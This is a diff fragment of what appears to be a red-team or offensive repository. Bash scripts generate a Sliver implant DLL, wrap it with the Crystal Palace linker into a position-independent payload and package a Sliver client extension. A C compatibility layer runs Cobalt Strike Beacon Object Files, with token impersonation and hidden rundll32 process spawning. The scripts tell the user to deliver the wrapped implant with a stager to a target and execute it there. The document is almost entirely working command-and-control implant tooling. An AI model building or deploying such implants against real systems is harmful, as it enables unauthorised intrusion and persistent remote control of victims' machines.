||||
# Modes:
|
||||
# ./generate-implant.sh --profile <profile-name> [output.bin]
|
||||
# Generates a fresh implant DLL via sliver-server then wraps it.
|
||||
#
|
||||
# ./generate-implant.sh --dll <path-to-dll> [output.bin]
|
||||
# Wraps an existing DLL (useful for testing without Sliver, or for
|
||||
# wrapping any third-party Windows DLL meant to be position-independent).
|
||||
#
|
||||
# Verified CLI of the underlying linker:
|
||||
# ./link <loader.spec> <file.dll|file.o> <out.bin> [%KEY=value]
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME to the Crystal Palace dist/ dir}"
|
||||
|
||||
usage() {
|
||||
cat <<EOF
|
||||
Usage:
|
||||
$0 --profile <sliver-profile-name> [output.bin]
|
||||
$0 --dll <path-to-dll> [output.bin]
|
||||
EOF
|
||||
exit 2
|
||||
}
|
||||
|
||||
MODE=""
|
||||
ARG=""
|
||||
OUTPUT="./build/crystal-implant.x64.bin"
|
||||
|
||||
if [[ $# -lt 2 ]]; then usage; fi
|
||||
|
||||
case "$1" in
|
||||
--profile) MODE="profile"; ARG="$2";;
|
||||
--dll) MODE="dll"; ARG="$2";;
|
||||
*) usage;;
|
||||
esac
|
||||
|
||||
[[ $# -ge 3 ]] && OUTPUT="$3"
|
||||
|
||||
REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
|
||||
LOADER_DIR="$REPO_ROOT/loader"
|
||||
BUILD_DIR="$(dirname "$OUTPUT")"
|
||||
mkdir -p "$BUILD_DIR"
|
||||
|
||||
OUTPUT="$(cd "$BUILD_DIR" && pwd)/$(basename "$OUTPUT")"
|
||||
|
||||
if [[ "$MODE" == "profile" ]]; then
|
||||
: "${SLIVER_SERVER:=sliver-server}"
|
||||
IMPLANT_DLL="$(cd "$BUILD_DIR" && pwd)/${ARG}.dll"
|
||||
echo "[*] Generating Sliver implant DLL from profile: $ARG"
|
||||
"$SLIVER_SERVER" generate \
|
||||
--profile "$ARG" \
|
||||
--format shared \
|
||||
--os windows --arch amd64 \
|
||||
--save "$IMPLANT_DLL"
|
||||
else
|
||||
IMPLANT_DLL="$(cd "$(dirname "$ARG")" && pwd)/$(basename "$ARG")"
|
||||
if [[ ! -f "$IMPLANT_DLL" ]]; then
|
||||
echo "error: DLL not found: $IMPLANT_DLL" >&2
|
||||
exit 2
|
||||
fi
|
||||
echo "[*] Using pre-built DLL: $IMPLANT_DLL"
|
||||
fi
|
||||
|
||||
if [[ ! -x "$CRYSTAL_PALACE_HOME/link" ]]; then
|
||||
echo "error: 'link' wrapper not executable at $CRYSTAL_PALACE_HOME/link" >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
if [[ ! -f "$REPO_ROOT/libtcg.x64.zip" ]]; then
|
||||
echo "error: libtcg.x64.zip missing at $REPO_ROOT/libtcg.x64.zip" >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
echo "[*] Building loader objects"
|
||||
make -C "$LOADER_DIR" all
|
||||
|
||||
echo "[*] Running Crystal Palace linker on loader/loader.spec"
|
||||
cd "$LOADER_DIR"
|
||||
"$CRYSTAL_PALACE_HOME/link" \
|
||||
loader.spec \
|
||||
"$IMPLANT_DLL" \
|
||||
"$OUTPUT"
|
||||
|
||||
echo "[+] Crystal-wrapped implant PICO at: $OUTPUT"
|
||||
echo "[i] Deliver this PICO together with a stager (e.g. run.x64.exe from the"
|
||||
echo " Crystal Palace demo/) to the target. Execute on target with:"
|
||||
echo " run.x64.exe $(basename "$OUTPUT")"
|
||||
Executable
+73
@@ -0,0 +1,73 @@
|
||||
#!/usr/bin/env bash
|
||||
#
|
||||
# generate.sh — wrap a post-ex DLL through Crystal Palace into a PICO .bin
|
||||
#
|
||||
# Required env:
|
||||
# CRYSTAL_PALACE_HOME directory containing crystalpalace.jar AND the 'link' wrapper
|
||||
#
|
||||
# Usage:
|
||||
# ./generate.sh <input.dll> [args-file] [output.bin]
|
||||
#
|
||||
# Defaults:
|
||||
# args-file → empty file
|
||||
# output.bin → ./build/crystal-postex.x64.bin
|
||||
#
|
||||
# Verified CLI:
|
||||
# ./link <loader.spec> <file.dll|file.o> <out.bin> [A=hex] [%B=val] [@config.spec]
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME to the Crystal Palace dist/ dir (contains crystalpalace.jar + link script)}"
|
||||
|
||||
INPUT_DLL="${1:?Usage: generate.sh <input.dll> [args-file] [output.bin]}"
|
||||
ARGS_FILE="${2:-}"
|
||||
OUTPUT="${3:-./build/crystal-postex.x64.bin}"
|
||||
|
||||
REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
|
||||
POSTEX_DIR="$REPO_ROOT/postex-loader"
|
||||
BUILD_DIR="$(dirname "$OUTPUT")"
|
||||
|
||||
mkdir -p "$BUILD_DIR"
|
||||
|
||||
# Resolve OUTPUT to absolute path BEFORE we cd into postex-loader
|
||||
OUTPUT="$(cd "$BUILD_DIR" && pwd)/$(basename "$OUTPUT")"
|
||||
|
||||
if [[ -z "$ARGS_FILE" ]]; then
|
||||
ARGS_FILE="$BUILD_DIR/empty.args"
|
||||
: > "$ARGS_FILE"
|
||||
fi
|
||||
ARGS_FILE_ABS="$(cd "$(dirname "$ARGS_FILE")" && pwd)/$(basename "$ARGS_FILE")"
|
||||
|
||||
INPUT_DLL_ABS="$(cd "$(dirname "$INPUT_DLL")" && pwd)/$(basename "$INPUT_DLL")"
|
||||
|
||||
if [[ ! -f "$INPUT_DLL_ABS" ]]; then
|
||||
echo "error: input DLL not found: $INPUT_DLL" >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
if [[ ! -x "$CRYSTAL_PALACE_HOME/link" ]]; then
|
||||
echo "error: 'link' wrapper not found or not executable at $CRYSTAL_PALACE_HOME/link" >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
if [[ ! -f "$REPO_ROOT/libtcg.x64.zip" ]]; then
|
||||
echo "error: libtcg.x64.zip missing at $REPO_ROOT/libtcg.x64.zip" >&2
|
||||
echo " Copy it from the upstream Crystal-Kit repo. See docs/TOOLCHAIN.md." >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
echo "[*] Building postex-loader objects"
|
||||
make -C "$POSTEX_DIR" all
|
||||
|
||||
echo "[*] Running Crystal Palace linker (./link) on postex-loader/loader.spec"
|
||||
# Spec references 'bin/*.o' and '../libtcg.x64.zip' relative to its own dir,
|
||||
# so we cd into postex-loader before invoking link.
|
||||
cd "$POSTEX_DIR"
|
||||
"$CRYSTAL_PALACE_HOME/link" \
|
||||
loader.spec \
|
||||
"$INPUT_DLL_ABS" \
|
||||
"$OUTPUT" \
|
||||
%ARGFILE="$ARGS_FILE_ABS"
|
||||
|
||||
echo "[+] Crystal-wrapped PICO at: $OUTPUT"
|
||||
echo "[i] Next: feed this .bin to the crystal-loader Sliver Extension via 'crystal payload=$OUTPUT'"
|
||||
+41
@@ -0,0 +1,41 @@
|
||||
#!/usr/bin/env bash
|
||||
#
|
||||
# pack-extension.sh — package the crystal-loader Sliver Extension as a tarball
|
||||
# installable via 'extensions install' in the Sliver client.
|
||||
#
|
||||
# Usage:
|
||||
# ./pack-extension.sh [output.tar.gz]
|
||||
#
|
||||
# Expects crystal-loader.x64.dll (the runtime DLL wrapper around the PICO loader)
|
||||
# to be present in this directory. That DLL is the step-6 deliverable and is NOT
|
||||
# produced by generate.sh — generate.sh produces the PICO .bin that the wrapper
|
||||
# consumes at runtime.
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
OUTPUT="${1:-./build/crystal-loader-0.1.0.tar.gz}"
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
BUILD_DIR="$(dirname "$OUTPUT")"
|
||||
|
||||
mkdir -p "$BUILD_DIR"
|
||||
|
||||
DLL="$SCRIPT_DIR/crystal-loader.x64.dll"
|
||||
MANIFEST="$SCRIPT_DIR/extension.json"
|
||||
|
||||
if [[ ! -f "$DLL" ]]; then
|
||||
echo "error: $DLL not found." >&2
|
||||
echo " The DLL wrapper around the PICO loader is a step-6 deliverable." >&2
|
||||
echo " See docs/PORTING_MAP.md §7 point 1 for context." >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
if [[ ! -f "$MANIFEST" ]]; then
|
||||
echo "error: $MANIFEST not found." >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
echo "[*] Creating Sliver Extension tarball: $OUTPUT"
|
||||
tar -C "$SCRIPT_DIR" -czf "$OUTPUT" extension.json crystal-loader.x64.dll
|
||||
|
||||
echo "[+] Done. Install on Sliver client with:"
|
||||
echo " extensions install $OUTPUT"
|
||||
@@ -0,0 +1,23 @@
|
||||
CC_64 := x86_64-w64-mingw32-gcc
|
||||
CFLAGS := -Wall -Os -DBUILD_DLL
|
||||
LDFLAGS := -shared -Wl,--subsystem,windows
|
||||
|
||||
TARGET := crystal-loader.x64.dll
|
||||
SRCS := crystal-loader.c beacon_compatibility.c
|
||||
OUTDIR := ../
|
||||
|
||||
.PHONY: all clean smoketest
|
||||
|
||||
all: $(OUTDIR)$(TARGET)
|
||||
|
||||
$(OUTDIR)$(TARGET): $(SRCS)
|
||||
$(CC_64) $(CFLAGS) $(SRCS) -o $(OUTDIR)$(TARGET) $(LDFLAGS)
|
||||
|
||||
smoketest: $(OUTDIR)build/smoketest.bin
|
||||
|
||||
$(OUTDIR)build/smoketest.bin: smoketest.asm
|
||||
mkdir -p $(OUTDIR)build
|
||||
nasm -f bin smoketest.asm -o $(OUTDIR)build/smoketest.bin
|
||||
|
||||
clean:
|
||||
rm -f $(OUTDIR)$(TARGET) $(OUTDIR)build/smoketest.bin
|
||||
@@ -0,0 +1,61 @@
|
||||
/*
|
||||
* Beacon Object Files (BOF)
|
||||
* -------------------------
|
||||
* A Beacon Object File is a light-weight post exploitation tool that runs
|
||||
* with Beacon's inline-execute command.
|
||||
*
|
||||
* Cobalt Strike 4.1.
|
||||
*/
|
||||
|
||||
/* data API */
|
||||
typedef struct {
|
||||
char * original; /* the original buffer [so we can free it] */
|
||||
char * buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} datap;
|
||||
|
||||
DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
|
||||
DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
|
||||
DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
|
||||
DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
|
||||
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
|
||||
|
||||
/* format API */
|
||||
typedef struct {
|
||||
char * original; /* the original buffer [so we can free it] */
|
||||
char * buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} formatp;
|
||||
|
||||
DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
|
||||
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
|
||||
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
|
||||
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
|
||||
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
|
||||
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
|
||||
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
|
||||
|
||||
/* Output Functions */
|
||||
#define CALLBACK_OUTPUT 0x0
|
||||
#define CALLBACK_OUTPUT_OEM 0x1e
|
||||
#define CALLBACK_ERROR 0x0d
|
||||
#define CALLBACK_OUTPUT_UTF8 0x20
|
||||
|
||||
DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
|
||||
DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);
|
||||
|
||||
/* Token Functions */
|
||||
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
|
||||
DECLSPEC_IMPORT void BeaconRevertToken();
|
||||
DECLSPEC_IMPORT BOOL BeaconIsAdmin();
|
||||
|
||||
/* Spawn+Inject Functions */
|
||||
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
|
||||
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
|
||||
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
|
||||
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
|
||||
|
||||
/* Utility Functions */
|
||||
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
|
||||
@@ -0,0 +1,402 @@
|
||||
/*
|
||||
* Cobalt Strike 4.X BOF compatibility layer
|
||||
* -----------------------------------------
|
||||
* The whole point of these files are to allow beacon object files built for CS
|
||||
* to run fine inside of other tools without recompiling.
|
||||
*
|
||||
* Built off of the beacon.h file provided to build for CS.
|
||||
*/
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <stdarg.h>
|
||||
#ifdef _WIN32
|
||||
#include <windows.h>
|
||||
|
||||
#include "beacon_compatibility.h"
|
||||
|
||||
#define DEFAULTPROCESSNAME "rundll32.exe"
|
||||
#ifdef _WIN64
|
||||
#define X86PATH "SysWOW64"
|
||||
#define X64PATH "System32"
|
||||
#else
|
||||
#define X86PATH "System32"
|
||||
#define X64PATH "sysnative"
|
||||
#endif
|
||||
|
||||
|
||||
/* Data Parsing */
|
||||
unsigned char* InternalFunctions[30][2] = {
|
||||
{(unsigned char*)"BeaconDataParse", (unsigned char*)BeaconDataParse},
|
||||
{(unsigned char*)"BeaconDataInt", (unsigned char*)BeaconDataInt},
|
||||
{(unsigned char*)"BeaconDataShort", (unsigned char*)BeaconDataShort},
|
||||
{(unsigned char*)"BeaconDataLength", (unsigned char*)BeaconDataLength},
|
||||
{(unsigned char*)"BeaconDataExtract", (unsigned char*)BeaconDataExtract},
|
||||
{(unsigned char*)"BeaconFormatAlloc", (unsigned char*)BeaconFormatAlloc},
|
||||
{(unsigned char*)"BeaconFormatReset", (unsigned char*)BeaconFormatReset},
|
||||
{(unsigned char*)"BeaconFormatFree", (unsigned char*)BeaconFormatFree},
|
||||
{(unsigned char*)"BeaconFormatAppend", (unsigned char*)BeaconFormatAppend},
|
||||
{(unsigned char*)"BeaconFormatPrintf", (unsigned char*)BeaconFormatPrintf},
|
||||
{(unsigned char*)"BeaconFormatToString", (unsigned char*)BeaconFormatToString},
|
||||
{(unsigned char*)"BeaconFormatInt", (unsigned char*)BeaconFormatInt},
|
||||
{(unsigned char*)"BeaconPrintf", (unsigned char*)BeaconPrintf},
|
||||
{(unsigned char*)"BeaconOutput", (unsigned char*)BeaconOutput},
|
||||
{(unsigned char*)"BeaconUseToken", (unsigned char*)BeaconUseToken},
|
||||
{(unsigned char*)"BeaconRevertToken", (unsigned char*)BeaconRevertToken},
|
||||
{(unsigned char*)"BeaconIsAdmin", (unsigned char*)BeaconIsAdmin},
|
||||
{(unsigned char*)"BeaconGetSpawnTo", (unsigned char*)BeaconGetSpawnTo},
|
||||
{(unsigned char*)"BeaconSpawnTemporaryProcess", (unsigned char*)BeaconSpawnTemporaryProcess},
|
||||
{(unsigned char*)"BeaconInjectProcess", (unsigned char*)BeaconInjectProcess},
|
||||
{(unsigned char*)"BeaconInjectTemporaryProcess", (unsigned char*)BeaconInjectTemporaryProcess},
|
||||
{(unsigned char*)"BeaconCleanupProcess", (unsigned char*)BeaconCleanupProcess},
|
||||
{(unsigned char*)"toWideChar", (unsigned char*)toWideChar},
|
||||
{(unsigned char*)"LoadLibraryA", (unsigned char*)LoadLibraryA},
|
||||
{(unsigned char*)"GetProcAddress", (unsigned char*)GetProcAddress},
|
||||
{(unsigned char*)"GetModuleHandleA", (unsigned char*)GetModuleHandleA},
|
||||
{(unsigned char*)"FreeLibrary", (unsigned char*)FreeLibrary},
|
||||
{(unsigned char*)"__C_specific_handler", NULL}
|
||||
|
||||
};
|
||||
|
||||
uint32_t swap_endianess(uint32_t indata) {
|
||||
uint32_t testint = 0xaabbccdd;
|
||||
uint32_t outint = indata;
|
||||
if (((unsigned char*)&testint)[0] == 0xdd) {
|
||||
((unsigned char*)&outint)[0] = ((unsigned char*)&indata)[3];
|
||||
((unsigned char*)&outint)[1] = ((unsigned char*)&indata)[2];
|
||||
((unsigned char*)&outint)[2] = ((unsigned char*)&indata)[1];
|
||||
((unsigned char*)&outint)[3] = ((unsigned char*)&indata)[0];
|
||||
}
|
||||
return outint;
|
||||
}
|
||||
|
||||
char* beacon_compatibility_output = NULL;
|
||||
int beacon_compatibility_size = 0;
|
||||
int beacon_compatibility_offset = 0;
|
||||
|
||||
void BeaconDataParse(datap* parser, char* buffer, int size) {
|
||||
if (parser == NULL || buffer == NULL) {
|
||||
return;
|
||||
}
|
||||
|
||||
parser->original = buffer;
|
||||
parser->buffer = buffer;
|
||||
parser->length = size - 4;
|
||||
parser->size = size - 4;
|
||||
parser->buffer += 4;
|
||||
return;
|
||||
}
|
||||
|
||||
int BeaconDataInt(datap* parser) {
|
||||
if (parser == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
int32_t fourbyteint = 0;
|
||||
if (parser->length < 4) {
|
||||
return 0;
|
||||
}
|
||||
memcpy(&fourbyteint, parser->buffer, 4);
|
||||
parser->buffer += 4;
|
||||
parser->length -= 4;
|
||||
return (int)fourbyteint;
|
||||
}
|
||||
|
||||
short BeaconDataShort(datap* parser) {
|
||||
if (parser == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
int16_t retvalue = 0;
|
||||
if (parser->length < 2) {
|
||||
return 0;
|
||||
}
|
||||
memcpy(&retvalue, parser->buffer, 2);
|
||||
parser->buffer += 2;
|
||||
parser->length -= 2;
|
||||
return (short)retvalue;
|
||||
}
|
||||
|
||||
int BeaconDataLength(datap* parser) {
|
||||
if (parser == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
return parser->length;
|
||||
}
|
||||
|
||||
char* BeaconDataExtract(datap* parser, int* size) {
|
||||
if (parser == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
uint32_t length = 0;
|
||||
char* outdata = NULL;
|
||||
/*Length prefixed binary blob, going to assume uint32_t for this.*/
|
||||
if (parser->length < 4) {
|
||||
return NULL;
|
||||
}
|
||||
memcpy(&length, parser->buffer, 4);
|
||||
parser->buffer += 4;
|
||||
|
||||
outdata = parser->buffer;
|
||||
if (outdata == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
parser->length -= 4;
|
||||
parser->length -= length;
|
||||
parser->buffer += length;
|
||||
if (size != NULL && outdata != NULL) {
|
||||
*size = length;
|
||||
}
|
||||
return outdata;
|
||||
}
|
||||
|
||||
/* format API */
|
||||
|
||||
void BeaconFormatAlloc(formatp* format, int maxsz) {
|
||||
if (format == NULL) {
|
||||
return;
|
||||
}
|
||||
|
||||
format->original = calloc(maxsz, 1);
|
||||
format->buffer = format->original;
|
||||
format->length = 0;
|
||||
format->size = maxsz;
|
||||
return;
|
||||
}
|
||||
|
||||
void BeaconFormatReset(formatp* format) {
|
||||
if (format == NULL) {
|
||||
return;
|
||||
}
|
||||
|
||||
memset(format->original, 0, format->size);
|
||||
format->buffer = format->original;
|
||||
format->length = format->size;
|
||||
return;
|
||||
}
|
||||
|
||||
void BeaconFormatFree(formatp* format) {
|
||||
if (format == NULL) {
|
||||
return;
|
||||
}
|
||||
if (format->original) {
|
||||
free(format->original);
|
||||
format->original = NULL;
|
||||
}
|
||||
format->buffer = NULL;
|
||||
format->length = 0;
|
||||
format->size = 0;
|
||||
return;
|
||||
}
|
||||
|
||||
void BeaconFormatAppend(formatp* format, char* text, int len) {
|
||||
if (format == NULL || text == NULL) {
|
||||
return;
|
||||
}
|
||||
|
||||
memcpy(format->buffer, text, len);
|
||||
format->buffer += len;
|
||||
format->length += len;
|
||||
return;
|
||||
}
|
||||
|
||||
void BeaconFormatPrintf(formatp* format, char* fmt, ...) {
|
||||
if (format == NULL || fmt == NULL) {
|
||||
return;
|
||||
}
|
||||
|
||||
/*Take format string, and sprintf it into here*/
|
||||
va_list args;
|
||||
int length = 0;
|
||||
|
||||
va_start(args, fmt);
|
||||
length = vsnprintf(NULL, 0, fmt, args);
|
||||
va_end(args);
|
||||
if (format->length + length + 1 > format->size) {
|
||||
return;
|
||||
}
|
||||
|
||||
va_start(args, fmt);
|
||||
(void)vsnprintf(format->buffer, length + 1, fmt, args);
|
||||
va_end(args);
|
||||
format->length += length;
|
||||
format->buffer += length;
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
char* BeaconFormatToString(formatp* format, int* size) {
|
||||
if (format == NULL || size == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
*size = format->length;
|
||||
return format->original;
|
||||
}
|
||||
|
||||
void BeaconFormatInt(formatp* format, int value) {
|
||||
if (format == NULL) {
|
||||
return;
|
||||
}
|
||||
|
||||
uint32_t indata = value;
|
||||
uint32_t outdata = 0;
|
||||
if (format->length + 4 > format->size) {
|
||||
return;
|
||||
}
|
||||
outdata = swap_endianess(indata);
|
||||
memcpy(format->buffer, &outdata, 4);
|
||||
format->length += 4;
|
||||
format->buffer += 4;
|
||||
return;
|
||||
}
|
||||
|
||||
/* Main output functions */
|
||||
|
||||
void BeaconPrintf(int type, char* fmt, ...) {
|
||||
if (fmt == NULL) {
|
||||
return;
|
||||
}
|
||||
|
||||
/* Change to maintain internal buffer, and return after done running. */
|
||||
int length = 0;
|
||||
char* tempptr = NULL;
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
vprintf(fmt, args);
|
||||
va_end(args);
|
||||
|
||||
va_start(args, fmt);
|
||||
length = vsnprintf(NULL, 0, fmt, args);
|
||||
va_end(args);
|
||||
tempptr = realloc(beacon_compatibility_output, beacon_compatibility_size + length + 1);
|
||||
if (tempptr == NULL) {
|
||||
return;
|
||||
}
|
||||
beacon_compatibility_output = tempptr;
|
||||
memset(beacon_compatibility_output + beacon_compatibility_offset, 0, length + 1);
|
||||
va_start(args, fmt);
|
||||
length = vsnprintf(beacon_compatibility_output + beacon_compatibility_offset, length +1, fmt, args);
|
||||
beacon_compatibility_size += length;
|
||||
beacon_compatibility_offset += length;
|
||||
va_end(args);
|
||||
return;
|
||||
}
|
||||
|
||||
void BeaconOutput(int type, char* data, int len) {
|
||||
if (data == NULL) {
|
||||
return;
|
||||
}
|
||||
|
||||
char* tempptr = NULL;
|
||||
tempptr = realloc(beacon_compatibility_output, beacon_compatibility_size + len + 1);
|
||||
beacon_compatibility_output = tempptr;
|
||||
if (tempptr == NULL) {
|
||||
return;
|
||||
}
|
||||
memset(beacon_compatibility_output + beacon_compatibility_offset, 0, len + 1);
|
||||
memcpy(beacon_compatibility_output + beacon_compatibility_offset, data, len);
|
||||
beacon_compatibility_size += len;
|
||||
beacon_compatibility_offset += len;
|
||||
return;
|
||||
}
|
||||
|
||||
/* Token Functions */
|
||||
|
||||
BOOL BeaconUseToken(HANDLE token) {
|
||||
/* Probably needs to handle DuplicateTokenEx too */
|
||||
SetThreadToken(NULL, token);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void BeaconRevertToken(void) {
|
||||
if (!RevertToSelf()) {
|
||||
#ifdef DEBUG
|
||||
printf("RevertToSelf Failed!\n");
|
||||
#endif
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
BOOL BeaconIsAdmin(void) {
|
||||
/* Leaving this to be implemented by people needing it */
|
||||
#ifdef DEBUG
|
||||
printf("BeaconIsAdmin Called\n");
|
||||
#endif
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/* Injection/spawning related stuffs
|
||||
*
|
||||
* These functions are basic place holders, and if implemented into something
|
||||
* real should be just calling internal functions for your tools. */
|
||||
void BeaconGetSpawnTo(BOOL x86, char* buffer, int length) {
|
||||
char* tempBufferPath = NULL;
|
||||
if (buffer == NULL) {
|
||||
return;
|
||||
}
|
||||
if (x86) {
|
||||
tempBufferPath = "C:\\Windows\\"X86PATH"\\"DEFAULTPROCESSNAME;
|
||||
}
|
||||
else {
|
||||
tempBufferPath = "C:\\Windows\\"X64PATH"\\"DEFAULTPROCESSNAME;
|
||||
}
|
||||
|
||||
if ((int)strlen(tempBufferPath) > length) {
|
||||
return;
|
||||
}
|
||||
memcpy(buffer, tempBufferPath, strlen(tempBufferPath));
|
||||
return;
|
||||
}
|
||||
|
||||
BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * sInfo, PROCESS_INFORMATION * pInfo) {
|
||||
BOOL bSuccess = FALSE;
|
||||
if (x86) {
|
||||
bSuccess = CreateProcessA(NULL, (char*)"C:\\Windows\\"X86PATH"\\"DEFAULTPROCESSNAME, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, sInfo, pInfo);
|
||||
}
|
||||
else {
|
||||
bSuccess = CreateProcessA(NULL, (char*)"C:\\Windows\\"X64PATH"\\"DEFAULTPROCESSNAME, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, sInfo, pInfo);
|
||||
}
|
||||
return bSuccess;
|
||||
}
|
||||
|
||||
void BeaconInjectProcess(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char * arg, int a_len) {
|
||||
/* Leaving this to be implemented by people needing/wanting it */
|
||||
return;
|
||||
}
|
||||
|
||||
void BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len) {
|
||||
/* Leaving this to be implemented by people needing/wanting it */
|
||||
return;
|
||||
}
|
||||
|
||||
void BeaconCleanupProcess(PROCESS_INFORMATION* pInfo) {
|
||||
if (pInfo != NULL) {
|
||||
(void)CloseHandle(pInfo->hThread);
|
||||
(void)CloseHandle(pInfo->hProcess);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
BOOL toWideChar(char* src, wchar_t* dst, int max) {
|
||||
if (max < sizeof(wchar_t))
|
||||
return FALSE;
|
||||
return MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS, src, -1, dst, max / sizeof(wchar_t));
|
||||
}
|
||||
|
||||
char* BeaconGetOutputData(int *outsize) {
|
||||
if (outsize == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
char* outdata = beacon_compatibility_output;
|
||||
*outsize = beacon_compatibility_size;
|
||||
beacon_compatibility_output = NULL;
|
||||
beacon_compatibility_size = 0;
|
||||
beacon_compatibility_offset = 0;
|
||||
return outdata;
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,66 @@
|
||||
/*
|
||||
* Cobalt Strike 4.X BOF compatibility layer
|
||||
* -----------------------------------------
|
||||
* The whole point of these files are to allow beacon object files built for CS
|
||||
* to run fine inside of other tools without recompiling.
|
||||
*
|
||||
* Built off of the beacon.h file provided to build for CS.
|
||||
*/
|
||||
#ifndef BEACON_COMPATIBILITY_H_
|
||||
/* Structures as is in beacon.h */
|
||||
extern unsigned char* InternalFunctions[30][2];
|
||||
typedef struct {
|
||||
char * original; /* the original buffer [so we can free it] */
|
||||
char * buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} datap;
|
||||
|
||||
typedef struct {
|
||||
char * original; /* the original buffer [so we can free it] */
|
||||
char * buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} formatp;
|
||||
|
||||
void BeaconDataParse(datap * parser, char * buffer, int size);
|
||||
int BeaconDataInt(datap * parser);
|
||||
short BeaconDataShort(datap * parser);
|
||||
int BeaconDataLength(datap * parser);
|
||||
char * BeaconDataExtract(datap * parser, int * size);
|
||||
|
||||
void BeaconFormatAlloc(formatp * format, int maxsz);
|
||||
void BeaconFormatReset(formatp * format);
|
||||
void BeaconFormatFree(formatp * format);
|
||||
void BeaconFormatAppend(formatp * format, char * text, int len);
|
||||
void BeaconFormatPrintf(formatp * format, char * fmt, ...);
|
||||
char * BeaconFormatToString(formatp * format, int * size);
|
||||
void BeaconFormatInt(formatp * format, int value);
|
||||
|
||||
#define CALLBACK_OUTPUT 0x0
|
||||
#define CALLBACK_OUTPUT_OEM 0x1e
|
||||
#define CALLBACK_ERROR 0x0d
|
||||
#define CALLBACK_OUTPUT_UTF8 0x20
|
||||
|
||||
|
||||
void BeaconPrintf(int type, char * fmt, ...);
|
||||
void BeaconOutput(int type, char * data, int len);
|
||||
|
||||
/* Token Functions */
|
||||
BOOL BeaconUseToken(HANDLE token);
|
||||
void BeaconRevertToken();
|
||||
BOOL BeaconIsAdmin();
|
||||
|
||||
/* Spawn+Inject Functions */
|
||||
void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
|
||||
BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * sInfo, PROCESS_INFORMATION * pInfo);
|
||||
void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
|
||||
void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
|
||||
void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
|
||||
|
||||
/* Utility Functions */
|
||||
BOOL toWideChar(char * src, wchar_t * dst, int max);
|
||||
uint32_t swap_endianess(uint32_t indata);
|
||||
|
||||
